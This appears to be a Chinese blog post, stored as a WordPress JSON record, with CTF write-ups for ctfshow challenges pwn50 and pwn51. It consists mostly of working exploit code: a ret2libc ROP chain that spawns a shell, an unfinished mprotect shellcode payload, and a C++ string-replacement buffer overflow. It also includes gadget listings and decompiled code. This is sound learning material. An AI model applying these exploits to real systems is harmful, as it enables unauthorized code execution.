{"id":263,"date":"2025-02-10T14:06:39","date_gmt":"2025-02-10T06:06:39","guid":{"rendered":"https:\/\/www.okabe.xin\/?p=263"},"modified":"2025-02-10T14:06:39","modified_gmt":"2025-02-10T06:06:39","slug":"pwn%ef%bc%9fbang%ef%bc%9fbangdream%ef%bc%81","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=263","title":{"rendered":"pwn\uff1fbang\uff1fbangdream\uff01"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">pwn50<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;*] 'C:\\\\Users\\\\26597\\\\Desktop\\\\pwn50'<br> &nbsp; &nbsp;Arch: &nbsp; &nbsp; &nbsp; amd64-64-little<br> &nbsp; &nbsp;RELRO: &nbsp; &nbsp; &nbsp;Partial RELRO<br> &nbsp; &nbsp;Stack: &nbsp; &nbsp; &nbsp;No canary found<br> &nbsp; &nbsp;NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled<br> &nbsp; &nbsp;PIE: &nbsp; &nbsp; &nbsp; &nbsp;No PIE (0x400000)<br> &nbsp; &nbsp;Stripped: &nbsp; No<\/code><\/pre>\n\n\n\n<p>\u770b\u5230puts\u51fd\u6570<\/p>\n\n\n\n<p>\u63d0\u793alibc\u7248\u672c<\/p>\n\n\n\n<p>\u731c\u662fret2libc\u768464\u4f4d<\/p>\n\n\n\n<p>\u5957\u677f\u5b50<\/p>\n\n\n\n<p>exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>from LibcSearcher import *<br>\u200b<br>io = remote('pwn.challenge.ctf.show',28119)<br>#io=process(\".\/pwn50\")<br>elf = ELF('.\/pwn50')<br># libc= ELF(elf.libc.path)<br>\u200b<br>ret_add =0x00000000004004fe<br>pop_rdi =0x00000000004007e3<br>main_add =0x0000000000400745<br>puts_got = elf.got&#91;'puts']<br>puts_plt = elf.plt&#91;'puts']<br>\u200b<br>print(\"Puts_got: \",hex(puts_got))<br>print(\"Puts_plt: \",hex(puts_plt))<br>\u200b<br>offset=0x20<br>\u200b<br>payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)<br>io.sendlineafter(b'Hello CTFshow', payload1)<br>puts_addr = u64(io.recvuntil(b'\\x7f')&#91;-6:].ljust(8,b'\\x00'))<br>print(\"Puts_addr: \",hex(puts_addr))<br>\u200b<br>libc = LibcSearcher('puts',puts_addr) &nbsp; # libc6_2.27-0ubuntu2_amd64<br>\u200b<br>libc_base = puts_addr - libc.dump('puts')<br>system_add = libc_base + libc.dump('system')<br>bin_sh_add = libc_base + libc.dump('str_bin_sh')<br>\u200b<br># libc_base = puts_addr - libc.symbols&#91;'puts']<br># system_add = libc_base + libc.symbols&#91;'system']<br># bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))<br>\u200b<br>payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)<br>\u200b<br>io.sendlineafter(b'Hello CTFshow', payload2)<br>\u200b<br>io.interactive()<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6211\u6709\u4e2a\u5f88\u5947\u602a\u7684\u70b9\uff0cexp\u62ff\u5230\u4e86flag\u4f46\u662f\u5b8c\u5168\u6ca1\u529e\u6cd5\u4ea4\u4e92\uff08orz\uff0c\u83ab\u540d\u6709\u79cd\u90aa\u9053\u901f\u901a\u306e\u611f\u89c9<\/p>\n\n\n\n<p>\u8c8c\u4f3c\u8fd8\u53ef\u4ee5\u6253mprotect<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">mprotect<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>pwndbg&gt; disass mprotect<br>Dump of assembler code for function mprotect:<br> &nbsp; 0x00007ffff7afd7e0 &lt;+0&gt;: mov &nbsp; &nbsp;eax,0xa<br> &nbsp; 0x00007ffff7afd7e5 &lt;+5&gt;: syscall <br> &nbsp; 0x00007ffff7afd7e7 &lt;+7&gt;: cmp &nbsp; &nbsp;rax,0xfffffffffffff001<br> &nbsp; 0x00007ffff7afd7ed &lt;+13&gt;:    jae &nbsp; &nbsp;0x7ffff7afd7f0 &lt;mprotect+16&gt;<br> &nbsp; 0x00007ffff7afd7ef &lt;+15&gt;:    ret &nbsp; &nbsp;<br> &nbsp; 0x00007ffff7afd7f0 &lt;+16&gt;:    mov &nbsp; &nbsp;rcx,QWORD PTR &#91;rip+0x2cf671] &nbsp; &nbsp; &nbsp; &nbsp;# 0x7ffff7dcce68<br> &nbsp; 0x00007ffff7afd7f7 &lt;+23&gt;:    neg &nbsp; &nbsp;eax<br> &nbsp; 0x00007ffff7afd7f9 &lt;+25&gt;:    mov &nbsp; &nbsp;DWORD PTR fs:&#91;rcx],eax<br> &nbsp; 0x00007ffff7afd7fc &lt;+28&gt;:    or &nbsp; &nbsp; rax,0xffffffffffffffff<br> &nbsp; 0x00007ffff7afd800 &lt;+32&gt;:    ret &nbsp; &nbsp;<br>End of assembler dump.<\/code><\/pre>\n\n\n\n<p>\u627e\u5230mprotect\u51fd\u6570\u4f4d\u7f6e<\/p>\n\n\n\n<p>\u627e\u5bc4\u5b58\u5668\u4f4d\u7f6e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0x00000000004007dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret<br>0x00000000004007de : pop r13 ; pop r14 ; pop r15 ; ret<br>0x00000000004007e0 : pop r14 ; pop r15 ; ret<br>0x00000000004007e2 : pop r15 ; ret<br>0x0000000000400634 : pop rbp ; jmp 0x4005c0<br>0x00000000004005ab : pop rbp ; mov edi, 0x602048 ; jmp rax<br>0x00000000004007db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret<br>0x00000000004007df : pop rbp ; pop r14 ; pop r15 ; ret<br>0x00000000004005b8 : pop rbp ; ret<br>0x00000000004007e3 : pop rdi ; ret<br>0x00000000004007e1 : pop rsi ; pop r15 ; ret<br>0x00000000004007dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret<\/code><\/pre>\n\n\n\n<p>pop\u76f8\u5173\u7684\u5730\u5740\u5c31\u8fd9\u4e9b<\/p>\n\n\n\n<p>\u627e\u4e09\u4e2apop\u5e26\u4e2aret\u5373\u53ef<\/p>\n\n\n\n<p>0x00000000004007e0 \u5373\u4e3a\u8fd4\u56de\u5730\u5740<\/p>\n\n\n\n<p>\u73b0\u5728\u518d\u53bb\u627egot\u8868\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Section Headers:<br>  &#91;Nr] Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Type &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Address &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Offset<br> &nbsp; &nbsp; &nbsp; Size &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;EntSize &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Flags &nbsp;Link &nbsp;Info &nbsp;Align<br>  &#91; 0] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NULL &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0000000000000000 &nbsp;00000000<br> &nbsp; &nbsp; &nbsp; 0000000000000000 &nbsp;0000000000000000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 0<br>  &#91; 1] .interp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PROGBITS &nbsp; &nbsp; &nbsp; &nbsp; 0000000000400238 &nbsp;00000238<br> &nbsp; &nbsp; &nbsp; 000000000000001c &nbsp;0000000000000000 &nbsp; A &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 1<br>  &#91; 2] .note.ABI-tag &nbsp; &nbsp; NOTE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0000000000400254 &nbsp;00000254<br> &nbsp; &nbsp; &nbsp; 0000000000000020 &nbsp;0000000000000000 &nbsp; A &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 4<br>  &#91; 3] .note.gnu.build-i NOTE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0000000000400274 &nbsp;00000274<br> &nbsp; &nbsp; &nbsp; 0000000000000024 &nbsp;0000000000000000 &nbsp; A &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 4<br>  &#91; 4] .gnu.hash &nbsp; &nbsp; &nbsp; &nbsp; GNU_HASH &nbsp; &nbsp; &nbsp; &nbsp; 0000000000400298 &nbsp;00000298<br> &nbsp; &nbsp; &nbsp; 0000000000000028 &nbsp;0000000000000000 &nbsp; A &nbsp; &nbsp; &nbsp; 5 &nbsp; &nbsp; 0 &nbsp; &nbsp; 8<br>  &#91; 5] .dynsym &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DYNSYM &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 00000000004002c0 &nbsp;000002c0<br> &nbsp; &nbsp; &nbsp; 00000000000000d8 &nbsp;0000000000000018 &nbsp; A &nbsp; &nbsp; &nbsp; 6 &nbsp; &nbsp; 1 &nbsp; &nbsp; 8<br>  &#91; 6] .dynstr &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; STRTAB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0000000000400398 &nbsp;00000398<br> &nbsp; &nbsp; &nbsp; 000000000000005c &nbsp;0000000000000000 &nbsp; A &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 1<br>  &#91; 7] .gnu.version &nbsp; &nbsp; &nbsp;VERSYM &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 00000000004003f4 &nbsp;000003f4<br> &nbsp; &nbsp; &nbsp; 0000000000000012 &nbsp;0000000000000002 &nbsp; A &nbsp; &nbsp; &nbsp; 5 &nbsp; &nbsp; 0 &nbsp; &nbsp; 2<br>  &#91; 8] .gnu.version_r &nbsp; &nbsp;VERNEED &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0000000000400408 &nbsp;00000408<br> &nbsp; &nbsp; &nbsp; 0000000000000020 &nbsp;0000000000000000 &nbsp; A &nbsp; &nbsp; &nbsp; 6 &nbsp; &nbsp; 1 &nbsp; &nbsp; 8<br>  &#91; 9] .rela.dyn &nbsp; &nbsp; &nbsp; &nbsp; RELA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0000000000400428 &nbsp;00000428<br> &nbsp; &nbsp; &nbsp; 0000000000000060 &nbsp;0000000000000018 &nbsp; A &nbsp; &nbsp; &nbsp; 5 &nbsp; &nbsp; 0 &nbsp; &nbsp; 8<br>  &#91;10] .rela.plt &nbsp; &nbsp; &nbsp; &nbsp; RELA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0000000000400488 &nbsp;00000488<br> &nbsp; &nbsp; &nbsp; 0000000000000060 &nbsp;0000000000000018 &nbsp;AI &nbsp; &nbsp; &nbsp; 5 &nbsp; &nbsp;22 &nbsp; &nbsp; 8<br>  &#91;11] .init &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PROGBITS &nbsp; &nbsp; &nbsp; &nbsp; 00000000004004e8 &nbsp;000004e8<br> &nbsp; &nbsp; &nbsp; 0000000000000017 &nbsp;0000000000000000 &nbsp;AX &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 4<br>  &#91;12] .plt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PROGBITS &nbsp; &nbsp; &nbsp; &nbsp; 0000000000400500 &nbsp;00000500<br> &nbsp; &nbsp; &nbsp; 0000000000000050 &nbsp;0000000000000010 &nbsp;AX &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 16<br>  &#91;13] .text &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PROGBITS &nbsp; &nbsp; &nbsp; &nbsp; 0000000000400550 &nbsp;00000550<br> &nbsp; &nbsp; &nbsp; 00000000000002a2 &nbsp;0000000000000000 &nbsp;AX &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 16<br>  &#91;14] .fini &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PROGBITS &nbsp; &nbsp; &nbsp; &nbsp; 00000000004007f4 &nbsp;000007f4<br> &nbsp; &nbsp; &nbsp; 0000000000000009 &nbsp;0000000000000000 &nbsp;AX &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 4<br>  &#91;15] .rodata &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PROGBITS &nbsp; &nbsp; &nbsp; &nbsp; 0000000000400800 &nbsp;00000800<br> &nbsp; &nbsp; &nbsp; 000000000000053f &nbsp;0000000000000000 &nbsp; A &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 8<br>  &#91;16] .eh_frame_hdr &nbsp; &nbsp; PROGBITS &nbsp; &nbsp; &nbsp; &nbsp; 0000000000400d40 &nbsp;00000d40<br> &nbsp; &nbsp; &nbsp; 0000000000000054 &nbsp;0000000000000000 &nbsp; A &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 4<br>  &#91;17] .eh_frame &nbsp; &nbsp; &nbsp; &nbsp; PROGBITS &nbsp; &nbsp; &nbsp; &nbsp; 0000000000400d98 &nbsp;00000d98<br> &nbsp; &nbsp; &nbsp; 0000000000000160 &nbsp;0000000000000000 &nbsp; A &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 8<br>  &#91;18] .init_array &nbsp; &nbsp; &nbsp; INIT_ARRAY &nbsp; &nbsp; &nbsp; 0000000000601e10 &nbsp;00001e10<br> &nbsp; &nbsp; &nbsp; 0000000000000008 &nbsp;0000000000000008 &nbsp;WA &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 8<br>  &#91;19] .fini_array &nbsp; &nbsp; &nbsp; FINI_ARRAY &nbsp; &nbsp; &nbsp; 0000000000601e18 &nbsp;00001e18<br> &nbsp; &nbsp; &nbsp; 0000000000000008 &nbsp;0000000000000008 &nbsp;WA &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 8<br>  &#91;20] .dynamic &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DYNAMIC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0000000000601e20 &nbsp;00001e20<br> &nbsp; &nbsp; &nbsp; 00000000000001d0 &nbsp;0000000000000010 &nbsp;WA &nbsp; &nbsp; &nbsp; 6 &nbsp; &nbsp; 0 &nbsp; &nbsp; 8<br>  &#91;21] .got &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PROGBITS &nbsp; &nbsp; &nbsp; &nbsp; 0000000000601ff0 &nbsp;00001ff0<br> &nbsp; &nbsp; &nbsp; 0000000000000010 &nbsp;0000000000000008 &nbsp;WA &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 8<br>  &#91;22] .got.plt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PROGBITS &nbsp; &nbsp; &nbsp; &nbsp; 0000000000602000 &nbsp;00002000<br> &nbsp; &nbsp; &nbsp; 0000000000000038 &nbsp;0000000000000008 &nbsp;WA &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 8<br>  &#91;23] .data &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PROGBITS &nbsp; &nbsp; &nbsp; &nbsp; 0000000000602038 &nbsp;00002038<br> &nbsp; &nbsp; &nbsp; 0000000000000010 &nbsp;0000000000000000 &nbsp;WA &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 8<br>  &#91;24] .bss &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;NOBITS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0000000000602050 &nbsp;00002048<br> &nbsp; &nbsp; &nbsp; 0000000000000020 &nbsp;0000000000000000 &nbsp;WA &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 16<br>  &#91;25] .comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PROGBITS &nbsp; &nbsp; &nbsp; &nbsp; 0000000000000000 &nbsp;00002048<br> &nbsp; &nbsp; &nbsp; 0000000000000029 &nbsp;0000000000000001 &nbsp;MS &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 1<br>  &#91;26] .symtab &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SYMTAB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0000000000000000 &nbsp;00002078<br> &nbsp; &nbsp; &nbsp; 0000000000000678 &nbsp;0000000000000018 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;27 &nbsp; &nbsp;43 &nbsp; &nbsp; 8<br>  &#91;27] .strtab &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; STRTAB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0000000000000000 &nbsp;000026f0<br> &nbsp; &nbsp; &nbsp; 0000000000000239 &nbsp;0000000000000000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 1<br>  &#91;28] .shstrtab &nbsp; &nbsp; &nbsp; &nbsp; STRTAB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0000000000000000 &nbsp;00002929<br> &nbsp; &nbsp; &nbsp; 0000000000000103 &nbsp;0000000000000000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 1<br>Key to Flags:<br> &nbsp;W (write), A (alloc), X (execute), M (merge), S (strings), I (info),<br> &nbsp;L (link order), O (extra OS processing required), G (group), T (TLS),<br> &nbsp;C (compressed), x (unknown), o (OS specific), E (exclude),<br> &nbsp;l (large), p (processor specific)<\/code><\/pre>\n\n\n\n<p>\u4f4d\u7f6e\u4e3a\uff1a0x0000000000602000<\/p>\n\n\n\n<p>\u627e\u5230\u7c7bread\u51fd\u6570gets<\/p>\n\n\n\n<p>0000000000400657<\/p>\n\n\n\n<p>\u6700\u540e\u6539\u51fa\u6765\u7684exp\u8fd0\u884c\u4ea4\u4e92\u6ca1\u7ed3\u679c\uff0c\u7591\u60d1<\/p>\n\n\n\n<p>\u4e4b\u540e\u518d\u6765\u4ed4\u7ec6\u7814\u7a76<\/p>\n\n\n\n<p>\u5f85\u6539exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># -*- coding: UTF-8 -*-<br>from pwn import *<br>u=remote(\"pwn.challenge.ctf.show\",28162)<br>shellcode = asm(shellcraft.sh(),arch='i386',os='linux')<br>payload = b'a'*(0x20+8)<br>payload += p64(0x00007ffff7afd7e0) # mprotect\u51fd\u6570\u5730\u5740<br>payload += p64(0x00000000004007e0) # 3 pop 1 ret\u5730\u5740<br>payload += p64(0x0000000000602000) # \u9700\u8981\u4fee\u6539\u7684\u5185\u5b58\u7684\u8d77\u59cb\u5730\u5740<br>payload += p64(0x1000) # \u4fee\u6539\u5185\u5b58\u7a7a\u95f4\u7684\u5927\u5c0f<br>payload += p64(0x7) # \u9700\u8981\u8d4b\u4e88\u7684\u6743\u9650<br>payload += p64(0x806bee0) # gets\u51fd\u6570\u5730\u5740<br>payload += p64(0x0000000000602000) # gets\u51fd\u6570\u8fd4\u56de\u5730\u5740(\u5c31\u662f\u6211\u4eecshellcode\u6240\u5728\u5730\u5740,\u5373\u6211\u4eec\u4fee\u6539\u7684\u5185\u5b58\u7a7a\u95f4\u7684\u8d77\u59cb\u5730\u5740)<br>payload += p64(0x0000000000602000) # shellcode\u5730\u5740<br>payload += p64(len(shellcode))<br>u.sendline(payload)<br>u.sendline(shellcode)<br>u.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">pwn51<\/h2>\n\n\n\n<p>32\u4f4d<\/p>\n\n\n\n<p>\u53cd\u7f16\u8bd1\u540e\u50bb\u773c\u4e86<\/p>\n\n\n\n<p>\u662fC++<\/p>\n\n\n\n<p>\u770b\u4e0d\u592a\u61c2\uff0c\u9760\u7740string\u754c\u9762\u627e\u5230\u4e86\u4e3b\u8981\u51fd\u6570sub_8049059<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int sub_8049059()<br>{<br> &nbsp;int v0; \/\/ eax<br> &nbsp;int v1; \/\/ eax<br> &nbsp;unsigned int v2; \/\/ eax<br> &nbsp;int v3; \/\/ eax<br> &nbsp;const char *v4; \/\/ eax<br> &nbsp;int v6; \/\/ &#91;esp-Ch] &#91;ebp-84h]<br> &nbsp;int v7; \/\/ &#91;esp-8h] &#91;ebp-80h]<br> &nbsp;_BYTE v8&#91;12]; \/\/ &#91;esp+0h] &#91;ebp-78h] BYREF<br> &nbsp;char s&#91;32]; \/\/ &#91;esp+Ch] &#91;ebp-6Ch] BYREF<br> &nbsp;_BYTE v10&#91;24]; \/\/ &#91;esp+2Ch] &#91;ebp-4Ch] BYREF<br> &nbsp;_BYTE v11&#91;24]; \/\/ &#91;esp+44h] &#91;ebp-34h] BYREF<br> &nbsp;unsigned int i; \/\/ &#91;esp+5Ch] &#91;ebp-1Ch]<br>\u200b<br> &nbsp;memset(s, 0, sizeof(s));<br> &nbsp;puts(\"Who are you?\");<br> &nbsp;read(0, s, 0x20u);<br> &nbsp;std::string::operator=(&amp;unk_804D0A0, &amp;unk_804A350);<br> &nbsp;std::string::operator+=(&amp;unk_804D0A0, s);<br> &nbsp;std::string::basic_string(v10, &amp;unk_804D0B8);<br> &nbsp;std::string::basic_string(v11, &amp;unk_804D0A0);<br> &nbsp;sub_8048F06(v8);<br> &nbsp;std::string::~string(v11, v11, v10);<br> &nbsp;std::string::~string(v10, v6, v7);<br> &nbsp;if ( sub_80496D6(v8) &gt; 1u )<br>  {<br> &nbsp; &nbsp;std::string::operator=(&amp;unk_804D0A0, &amp;unk_804A350);<br> &nbsp; &nbsp;v0 = sub_8049700(v8, 0);<br> &nbsp; &nbsp;if ( (unsigned __int8)sub_8049722(v0, &amp;unk_804A350) )<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;v1 = sub_8049700(v8, 0);<br> &nbsp; &nbsp; &nbsp;std::string::operator+=(&amp;unk_804D0A0, v1);<br> &nbsp;  }<br> &nbsp; &nbsp;for ( i = 1; ; ++i )<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;v2 = sub_80496D6(v8);<br> &nbsp; &nbsp; &nbsp;if ( v2 &lt;= i )<br> &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp; &nbsp;std::string::operator+=(&amp;unk_804D0A0, \"IronMan\");<br> &nbsp; &nbsp; &nbsp;v3 = sub_8049700(v8, i);<br> &nbsp; &nbsp; &nbsp;std::string::operator+=(&amp;unk_804D0A0, v3);<br> &nbsp;  }<br>  }<br> &nbsp;v4 = (const char *)std::string::c_str(&amp;unk_804D0A0);<br> &nbsp;strcpy(s, v4);<br> &nbsp;printf(\"Wow!you are:%s\", s);<br> &nbsp;return sub_8049616(v8);<br>}<\/code><\/pre>\n\n\n\n<p>\u521d\u7565\u7406\u89e3\u4e4b\u4e0b\uff0c\u77e5\u9053s\u5c31\u662f\u8981\u6ea2\u51fa\u7684\u5bf9\u8c61\uff0c\u8ba4\u4e3a\u504f\u79fb\u503c\u5c31\u662fchar s[32]; \/\/ [esp+Ch] [ebp-6Ch] BYREF\uff0c\u4e5f\u5c31\u662f0x6C+4<\/p>\n\n\n\n<p>string\u754c\u9762\u8fd8\u80fd\u627e\u5230\u4e00\u6761system\u6307\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int sub_804902E()<br>{<br> &nbsp;return system(\"cat \/ctfshow_flag\");<br>}<\/code><\/pre>\n\n\n\n<p>\u521d\u6b65\u5c1d\u8bd5\u5931\u8d25\uff0c\u867d\u7136\u770b\u7740\u5e94\u8be5\u6ca1\u4ec0\u4e48\u95ee\u9898<\/p>\n\n\n\n<p>\u4f46\u662f\u8c8c\u4f3c\u6709\u9650\u5236\u8f93\u5165<\/p>\n\n\n\n<p>\u6240\u4ee5\u5c1d\u8bd5\u8f93\u51650x6C+4\u7684\u2018a\u2019\u5c31\u6ca1\u529e\u6cd5\u8f93\u51fa\u591f<\/p>\n\n\n\n<p>\u770bWP\u624d\u77e5\u9053\u4e3b\u51fd\u6570\u91cc\u9762\u4f1a\u628aI\u6362\u6210IronMan<\/p>\n\n\n\n<p>16\u4e2aI\u7684\u8f93\u5165\u5c31\u80fd\u521a\u521a\u597d\u53d8\u6210112\u5b57\u8282IronMan\uff0c\u5b8c\u6210\u6ea2\u51fa\u6548\u679c<\/p>\n\n\n\n<p>\u7136\u540e\u540e\u7eed\u8ddf\u4e00\u4e2asystem\u51fd\u6570\u4f4d\u7f6e\u5c31\u597d\u4e86<\/p>\n\n\n\n<p>exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>u=remote(\"pwn.challenge.ctf.show\",28223)<br>payload=b'I'*16+p32(0x0804902E)<br>#payload=b'I'*16+p32(0x08049042)<br>u.sendline(payload)<br>u.interactive()<\/code><\/pre>\n\n\n\n<p>\u6b64\u4e8b\u5728\u76f4\u63a5\u672c\u5730\u8fd0\u884c\u4ea6\u6709\u8bb0\u8f7d\uff08<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ctfshow@ubuntu:~\/Desktop\/xd\/LibcSearcher$ .\/pwn51<br> &nbsp; &nbsp;\u2584\u2584\u2584\u2584 &nbsp; \u2584\u2584\u2584\u2584\u2584\u2584\u2584\u2584 &nbsp;\u2584\u2584\u2584\u2584\u2584\u2584\u2584\u2584 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\u2584\u2584 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br> &nbsp;\u2588\u2588\u2580\u2580\u2580\u2580\u2588 &nbsp;\u2580\u2580\u2580\u2588\u2588\u2580\u2580\u2580 &nbsp;\u2588\u2588\u2580\u2580\u2580\u2580\u2580\u2580 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\u2588\u2588 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br> \u2588\u2588\u2580 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\u2588\u2588 &nbsp; &nbsp; \u2588\u2588 &nbsp; &nbsp; &nbsp; &nbsp;\u2584\u2584\u2588\u2588\u2588\u2588\u2588\u2584 &nbsp;\u2588\u2588\u2584\u2588\u2588\u2588\u2588\u2584 &nbsp; \u2584\u2588\u2588\u2588\u2588\u2584 &nbsp;\u2588\u2588 &nbsp; &nbsp; &nbsp;\u2588\u2588<br> \u2588\u2588 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \u2588\u2588 &nbsp; &nbsp; \u2588\u2588\u2588\u2588\u2588\u2588\u2588 &nbsp; \u2588\u2588\u2584\u2584\u2584\u2584 \u2580 &nbsp;\u2588\u2588\u2580 &nbsp; \u2588\u2588 &nbsp;\u2588\u2588\u2580 &nbsp;\u2580\u2588\u2588 \u2580\u2588 &nbsp;\u2588\u2588 &nbsp;\u2588\u2580<br> \u2588\u2588\u2584 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\u2588\u2588 &nbsp; &nbsp; \u2588\u2588 &nbsp; &nbsp; &nbsp; &nbsp; \u2580\u2580\u2580\u2580\u2588\u2588\u2584 &nbsp;\u2588\u2588 &nbsp; &nbsp;\u2588\u2588 &nbsp;\u2588\u2588 &nbsp; &nbsp;\u2588\u2588 &nbsp;\u2588\u2588\u2584\u2588\u2588\u2584\u2588\u2588 <br> &nbsp;\u2588\u2588\u2584\u2584\u2584\u2584\u2588 &nbsp; &nbsp; \u2588\u2588 &nbsp; &nbsp; \u2588\u2588 &nbsp; &nbsp; &nbsp; &nbsp;\u2588\u2584\u2584\u2584\u2584\u2584\u2588\u2588 &nbsp;\u2588\u2588 &nbsp; &nbsp;\u2588\u2588 &nbsp;\u2580\u2588\u2588\u2584\u2584\u2588\u2588\u2580 &nbsp;\u2580\u2588\u2588 &nbsp;\u2588\u2588\u2580 <br> &nbsp; &nbsp;\u2580\u2580\u2580\u2580 &nbsp; &nbsp; &nbsp;\u2580\u2580 &nbsp; &nbsp; \u2580\u2580 &nbsp; &nbsp; &nbsp; &nbsp; \u2580\u2580\u2580\u2580\u2580\u2580 &nbsp; \u2580\u2580 &nbsp; &nbsp;\u2580\u2580 &nbsp; &nbsp;\u2580\u2580\u2580\u2580 &nbsp; &nbsp; \u2580\u2580 &nbsp;\u2580\u2580 &nbsp;<br> &nbsp; &nbsp;* ************************************* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br> &nbsp; 